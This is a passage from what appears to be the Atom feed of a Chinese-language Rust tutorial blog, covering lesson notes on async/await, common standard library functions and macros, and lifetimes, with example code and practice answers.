id="await-1"><a href="#await-1" class="headerlink" title="await"></a>await</h3><p>等待 Future 完成并取出结果。</p><p>只能在 async 上下文中使用。</p><h3 id="Future"><a href="#Future" class="headerlink" title="Future"></a>Future</h3><p>代表一个未来可能完成的计算。</p><p>需要被 poll 推动。</p><h3 id="执行器-executor"><a href="#执行器-executor" class="headerlink" title="执行器 executor"></a>执行器 executor</h3><p>负责轮询 Future 的运行组件。</p><p>Tokio 就提供成熟执行器。</p><h3 id="运行时-runtime"><a href="#运行时-runtime" class="headerlink" title="运行时 runtime"></a>运行时 runtime</h3><p>提供执行器、定时器、IO 驱动等能力。</p><p>网络异步通常离不开运行时。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p>异步不是自动开新线程。它主要让等待中的任务让出执行权。</p><p>并发表示多个任务在时间上交错推进；并行表示多个任务真的在多个 CPU 核心同时运行。</p><p><code>async fn</code> 的返回类型可理解为 <code>impl Future<Output = T></code>。</p><p>没有 <code>.await</code> 或执行器推动，Future 可能只是一个尚未运行完成的状态机。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要以为调用 <code>async fn</code> 就会立即执行网络请求。它返回的是 Future。</li><li>不要在异步任务里随意执行长时间阻塞操作，否则会卡住运行时线程。</li><li>标准库没有内置完整异步运行时，所以真实应用通常需要外部 crate。</li><li>异步能提升等待型任务吞吐量，不一定让 CPU 密集计算更快。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1：理解-async-返回值"><a href="#练习-1：理解-async-返回值" class="headerlink" title="练习 1：理解 async 返回值"></a>练习 1：理解 async 返回值</h3><p>要求：写一个返回数字的 <code>async fn</code>，并说明调用结果是什么。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">answer</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="number">42</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">future</span> = <span class="title function_ invoke__">answer</span>();</span><br><span class="line"> <span class="title function_ invoke__">drop</span>(future);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：<code>answer()</code> 返回 Future。没有执行器或 <code>.await</code>，这里不会直接得到 <code>42</code>。</p><h3 id="练习-2：组合-async-函数"><a href="#练习-2：组合-async-函数" class="headerlink" title="练习 2：组合 async 函数"></a>练习 2：组合 async 函数</h3><p>要求：写两个 async 函数，在第三个 async 函数中 await 它们。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">left</span>() <span class="punctuation">-></span> <span class="type">i32</span> { <span class="number">20</span> }</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">right</span>() <span class="punctuation">-></span> <span class="type">i32</span> { <span class="number">22</span> }</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">sum</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="title function_ invoke__">left</span>().<span class="keyword">await</span> + <span class="title function_ invoke__">right</span>().<span class="keyword">await</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：<code>await</code> 只能写在 async 函数或 async 块里。</p><h3 id="练习-3：区分并发和并行"><a href="#练习-3：区分并发和并行" class="headerlink" title="练习 3：区分并发和并行"></a>练习 3：区分并发和并行</h3><p>要求：用文字说明异步适合什么任务。</p><p>参考答案：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">异步适合网络请求、文件 IO、数据库访问等等待型任务。它让一个线程在等待某个任务时继续推进其他任务。CPU 密集计算通常需要线程池或并行计算库。</span><br></pre></td></tr></table></figure></div><p>解释：这道题没有固定代码答案，重点是理解异步的使用边界。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/">Rust学习笔记 15：常用标准库函数与实用宏</a></li></ul>]]></content>
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<category term="Rust" scheme="https://kylinxin.github.io/categories/Rust/"/>
<category term="Rust" scheme="https://kylinxin.github.io/tags/Rust/"/>
<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
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</entry>
<entry>
<title>Rust学习笔记 15：常用标准库函数与实用宏</title>
<link href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/"/>
<id>https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/</id>
<published>2026-04-15T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件：<code>src/bin/15_std_functions_macros.rs</code></p><p>运行命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson15_std_functions_macros</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>本节整理日常 Rust 编程中常见的标准库函数、方法和宏。它们能显著提高代码表达力。</p><p>宏看起来像函数，但以 <code>!</code> 结尾，并在编译期展开。常见宏包括 <code>println!</code>、<code>format!</code>、<code>vec!</code>、<code>dbg!</code>。</p><ul><li>理解函数、方法和宏的基本区别。</li><li>掌握格式化输出、调试输出和集合创建。</li><li>会使用 <code>Option</code>、<code>Result</code> 的常用方法。</li><li>知道 <code>dbg!</code>、<code>assert!</code>、<code>panic!</code> 的适用场景。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>标准库 std</td><td>Rust 自带的基础功能库。</td><td>包括集合、字符串、IO、线程、时间等。</td></tr><tr><td>宏 macro</td><td>编译期展开的代码生成机制。</td><td>以 <code>!</code> 结尾，如 <code>println!</code>。</td></tr><tr><td>format!</td><td>生成格式化字符串但不直接打印。</td><td>常用于拼接可读文本。</td></tr><tr><td>dbg!</td><td>打印表达式和位置，返回表达式值。</td><td>适合临时调试。</td></tr><tr><td>assert!</td><td>断言条件必须为真。</td><td>常用于测试或检查程序假设。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="comment">// vec! 创建可增长的 Vec；后续 push 体现它和固定数组的区别。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">numbers</span> = <span class="built_in">vec!</span>[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"> numbers.<span class="title function_ invoke__">push</span>(<span class="number">6</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// iter/map/filter/collect 是标准库中常用的迭代器组合。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">even_squares</span>: <span class="type">Vec</span><<span class="type">i32</span>> = numbers</span><br><span class="line"> .<span class="title function_ invoke__">iter</span>()</span><br><span class="line"> .<span class="title function_ invoke__">map</span>(|n| n * n)</span><br><span class="line"> .<span class="title function_ invoke__">filter</span>(|n| n % <span class="number">2</span> == <span class="number">0</span>)</span><br><span class="line"> .<span class="title function_ invoke__">collect</span>();</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"偶数平方: {even_squares:?}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Option 常用 map、unwrap_or 等方法处理可能不存在的值。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">maybe_name</span> = <span class="title function_ invoke__">Some</span>(<span class="string">"Rust"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">display_name</span> = maybe_name</span><br><span class="line"> .<span class="title function_ invoke__">map</span>(<span class="type">str</span>::to_uppercase)</span><br><span class="line"> .<span class="title function_ invoke__">unwrap_or</span>(<span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"UNKNOWN"</span>));</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"名称: {display_name}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// dbg! 会打印表达式和结果，适合临时调试。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">total</span>: <span class="type">i32</span> = numbers.<span class="title function_ invoke__">iter</span>().<span class="title function_ invoke__">sum</span>();</span><br><span class="line"> dbg!(total);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// format! 生成 String，println! 输出到终端，vec! 创建 Vec。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">message</span> = <span class="built_in">format!</span>(<span class="string">"一共有 {} 个数字"</span>, numbers.<span class="title function_ invoke__">len</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{message}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// assert_eq! 常用于测试或运行时检查。</span></span><br><span class="line"> <span class="built_in">assert_eq!</span>(numbers.<span class="title function_ invoke__">first</span>(), <span class="title function_ invoke__">Some</span>(&<span class="number">1</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson15_std_functions_macros</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名，不是 <code>.rs</code> 文件名。文件名用于组织源码，bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行，再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="println"><a href="#println" class="headerlink" title="println!"></a>println!</h3><p>用于向终端打印文本，支持 <code>{}</code>、<code>{:?}</code> 等格式占位。</p><h3 id="format"><a href="#format" class="headerlink" title="format!"></a>format!</h3><p>返回 <code>String</code>，适合构造后续要保存或返回的文本。</p><h3 id="vec"><a href="#vec" class="headerlink" title="vec!"></a>vec!</h3><p>快速创建 <code>Vec</code>，如 <code>vec![1, 2, 3]</code>。</p><h3 id="Option-方法"><a href="#Option-方法" class="headerlink" title="Option 方法"></a>Option 方法</h3><p><code>unwrap_or</code> 可以在 <code>None</code> 时提供默认值。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="标准库-std"><a href="#标准库-std" class="headerlink" title="标准库 std"></a>标准库 std</h3><p>Rust 自带的基础功能库。</p><p>包括集合、字符串、IO、线程、时间等。</p><h3 id="宏-macro"><a href="#宏-macro" class="headerlink" title="宏 macro"></a>宏 macro</h3><p>编译期展开的代码生成机制。</p><p>以 <code>!</code> 结尾，如 <code>println!</code>。</p><h3 id="format-1"><a href="#format-1" class="headerlink" title="format!"></a>format!</h3><p>生成格式化字符串但不直接打印。</p><p>常用于拼接可读文本。</p><h3 id="dbg"><a href="#dbg" class="headerlink" title="dbg!"></a>dbg!</h3><p>打印表达式和位置，返回表达式值。</p><p>适合临时调试。</p><h3 id="assert"><a href="#assert" class="headerlink" title="assert!"></a>assert!</h3><p>断言条件必须为真。</p><p>常用于测试或检查程序假设。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p><code>println!</code> 是宏，因为它需要支持可变数量参数和格式字符串检查。</p><p><code>dbg!</code> 会取得表达式所有权并返回它。调试非 Copy 值时要注意是否发生移动。</p><p><code>assert_eq!</code> 比 <code>assert!(a == b)</code> 的失败信息更清楚。</p><p>标准库方法通常比手写循环更简洁，但初学时应该先理解它们背后的所有权和迭代器行为。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要把 <code>format!</code> 和 <code>println!</code> 混淆。前者返回字符串，后者打印到终端。</li><li><code>unwrap_or(default)</code> 会立即计算默认值。默认值计算昂贵时考虑 <code>unwrap_or_else</code>。</li><li>不要把 <code>dbg!</code> 长期留在正式输出里。</li><li>宏不是普通函数，错误信息有时会指向展开后的代码，需要回到宏调用位置理解。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1：格式化用户信息"><a href="#练习-1：格式化用户信息" class="headerlink" title="练习 1：格式化用户信息"></a>练习 1：格式化用户信息</h3><p>要求：用 <code>format!</code> 生成用户描述字符串。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">name</span> = <span class="string">"Kylin"</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">age</span> = <span class="number">20</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">text</span> = <span class="built_in">format!</span>(<span class="string">"用户 {name}, 年龄 {age}"</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{text}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：<code>format!</code> 返回 <code>String</code>，后续可以保存或传给函数。</p><h3 id="练习-2：Option-默认值"><a href="#练习-2：Option-默认值" class="headerlink" title="练习 2：Option 默认值"></a>练习 2：Option 默认值</h3><p>要求：读取可选分数，没有分数时使用 0。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">score</span>: <span class="type">Option</span><<span class="type">i32</span>> = <span class="literal">None</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">value</span> = score.<span class="title function_ invoke__">unwrap_or</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{value}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：<code>unwrap_or</code> 是处理 <code>None</code> 的常用方法。</p><h3 id="练习-3：断言检查"><a href="#练习-3：断言检查" class="headerlink" title="练习 3：断言检查"></a>练习 3：断言检查</h3><p>要求：检查数组长度是否为 3。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">values</span> = <span class="built_in">vec!</span>[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"> <span class="built_in">assert_eq!</span>(values.<span class="title function_ invoke__">len</span>(), <span class="number">3</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"检查通过"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：<code>assert_eq!</code> 在左右不相等时给出清晰失败信息。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/">Rust学习笔记 14：生命周期</a></li><li><a href="https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/">Rust学习笔记 16：异步编程 async-await</a></li></ul>]]></content>
<summary type="html"></summary>
<category term="Rust" scheme="https://kylinxin.github.io/categories/Rust/"/>
<category term="Rust" scheme="https://kylinxin.github.io/tags/Rust/"/>
<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
<category term="标准库" scheme="https://kylinxin.github.io/tags/%E6%A0%87%E5%87%86%E5%BA%93/"/>
</entry>
<entry>
<title>Rust学习笔记 14：生命周期</title>
<link href="https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/"/>
<id>https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/</id>
<published>2026-04-14T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件：<code>src/bin/14_lifetimes.rs</code></p><p>运行命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson14_lifetimes</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>生命周期描述引用有效的范围。它让编译器确认引用不会指向已经释放的数据。</p><p>初学时不要把生命周期理解成手动控制内存。它只是对引用关系的标注和检查。</p><ul><li>理解生命周期用于防止悬垂引用。</li><li>知道很多生命周期可以由编译器自动省略。</li><li>会读懂简单的 <code>'a</code> 标注。</li><li>理解结构体中保存引用时为什么需要生命周期参数。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>生命周期 lifetime</td><td>引用保持有效的代码范围。</td><td><code>'a</code> 是生命周期参数名。</td></tr><tr><td>悬垂引用 dangling reference</td><td>指向已经无效数据的引用。</td><td>Rust 编译器会阻止它。</td></tr><tr><td>生命周期标注</td><td>显式说明多个引用之间的有效期关系。</td><td><code>fn longest<'a>(x: &'a str, y: &'a str) -> &'a str</code>。</td></tr><tr><td>生命周期省略</td><td>编译器按规则自动推断常见生命周期。</td><td>很多函数不需要手写 <code>'a</code>。</td></tr><tr><td>‘static</td><td>能存活整个程序运行期间的生命周期。</td><td>字符串字面量通常是 <code>&'static str</code>。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">longest</span><<span class="symbol">'a</span>>(left: &<span class="symbol">'a</span> <span class="type">str</span>, right: &<span class="symbol">'a</span> <span class="type">str</span>) <span class="punctuation">-></span> &<span class="symbol">'a</span> <span class="type">str</span> {</span><br><span class="line"> <span class="comment">// 生命周期标注说明：返回引用的有效期不超过两个输入引用中较短的那个。</span></span><br><span class="line"> <span class="keyword">if</span> left.<span class="title function_ invoke__">len</span>() >= right.<span class="title function_ invoke__">len</span>() {</span><br><span class="line"> left</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> right</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ImportantExcerpt</span><<span class="symbol">'a</span>> {</span><br><span class="line"> <span class="comment">// 结构体保存引用时，需要说明引用必须活得和结构体一样久。</span></span><br><span class="line"> part: &<span class="symbol">'a</span> <span class="type">str</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span><<span class="symbol">'a</span>> ImportantExcerpt<<span class="symbol">'a</span>> {</span><br><span class="line"> <span class="keyword">fn</span> <span class="title function_">announce_and_return_part</span>(&<span class="keyword">self</span>, announcement: &<span class="type">str</span>) <span class="punctuation">-></span> &<span class="type">str</span> {</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"通知: {announcement}"</span>);</span><br><span class="line"> <span class="keyword">self</span>.part</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">first</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"short"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">second</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"a longer string"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">result</span> = <span class="title function_ invoke__">longest</span>(&first, &second);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"更长的是: {result}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">novel</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust is safe. Rust is fast."</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">first_sentence</span> = novel.<span class="title function_ invoke__">split</span>(<span class="string">'.'</span>).<span class="title function_ invoke__">next</span>().<span class="title function_ invoke__">unwrap_or</span>(<span class="string">""</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">excerpt</span> = ImportantExcerpt {</span><br><span class="line"> part: first_sentence,</span><br><span class="line"> };</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"摘录: {}"</span>, excerpt.<span class="title function_ invoke__">announce_and_return_part</span>(<span class="string">"开始阅读"</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson14_lifetimes</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名，不是 <code>.rs</code> 文件名。文件名用于组织源码，bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行，再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="返回引用"><a href="#返回引用" class="headerlink" title="返回引用"></a>返回引用</h3><p>函数返回引用时，编译器必须知道它来自哪个输入。</p><h3 id="longest"><a href="#longest" class="headerlink" title="longest"></a>longest</h3><p><code>longest<'a></code> 表示返回值不会比两个输入引用中较短者活得更久。</p><h3 id="结构体引用字段"><a href="#结构体引用字段" class="headerlink" title="结构体引用字段"></a>结构体引用字段</h3><p>结构体保存引用时，要在类型上标注生命周期。</p><h3 id="字符串字面量"><a href="#字符串字面量" class="headerlink" title="字符串字面量"></a>字符串字面量</h3><p>字面量存放在程序二进制中，常具有 <code>'static</code> 生命周期。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="生命周期-lifetime"><a href="#生命周期-lifetime" class="headerlink" title="生命周期 lifetime"></a>生命周期 lifetime</h3><p>引用保持有效的代码范围。</p><p><code>'a</code> 是生命周期参数名。</p><h3 id="悬垂引用-dangling-reference"><a href="#悬垂引用-dangling-reference" class="headerlink" title="悬垂引用 dangling reference"></a>悬垂引用 dangling reference</h3><p>指向已经无效数据的引用。</p><p>Rust 编译器会阻止它。</p><h3 id="生命周期标注"><a href="#生命周期标注" class="headerlink" title="生命周期标注"></a>生命周期标注</h3><p>显式说明多个引用之间的有效期关系。</p><p><code>fn longest<'a>(x: &'a str, y: &'a str) -> &'a str</code>。</p><h3 id="生命周期省略"><a href="#生命周期省略" class="headerlink" title="生命周期省略"></a>生命周期省略</h3><p>编译器按规则自动推断常见生命周期。</p><p>很多函数不需要手写 <code>'a</code>。</p><h3 id="‘static"><a href="#‘static" class="headerlink" title="‘static"></a>‘static</h3><p>能存活整个程序运行期间的生命周期。</p><p>字符串字面量通常是 <code>&'static str</code>。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p>生命周期标注不会延长任何值的生命。它只是描述已有的有效范围。</p><p><code>'a</code> 的名字没有特殊含义，可以叫 <code>'text</code>，但简单示例常用 <code>'a</code>。</p><p>返回引用时，返回值必须来自输入引用或其他足够长寿的数据，不能返回局部变量引用。</p><p>生命周期和所有权配合工作。拥有值的数据离开作用域后，指向它的引用不能继续存在。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要试图用生命周期标注修复真正的所有权错误。</li><li>不要返回函数内部创建的局部 <code>String</code> 的引用。</li><li><code>'static</code> 不等于“永远不释放所有数据”，它表示引用目标在整个程序期间有效。</li><li>生命周期报错通常说明引用关系不清楚，先画出数据拥有者和借用者。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1：实现-longest"><a href="#练习-1：实现-longest" class="headerlink" title="练习 1：实现 longest"></a>练习 1：实现 longest</h3><p>要求：返回两个字符串切片中更长的一个。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">longest</span><<span class="symbol">'a</span>>(left: &<span class="symbol">'a</span> <span class="type">str</span>, right: &<span class="symbol">'a</span> <span class="type">str</span>) <span class="punctuation">-></span> &<span class="symbol">'a</span> <span class="type">str</span> {</span><br><span class="line"> <span class="keyword">if</span> left.<span class="title function_ invoke__">len</span>() >= right.<span class="title function_ invoke__">len</span>() { left } <span class="keyword">else</span> { right }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{}"</span>, <span class="title function_ invoke__">longest</span>(<span class="string">"Rust"</span>, <span class="string">"language"</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：返回值可能来自任一输入，所以要用同一个生命周期参数描述关系。</p><h3 id="练习-2：结构体保存引用"><a href="#练习-2：结构体保存引用" 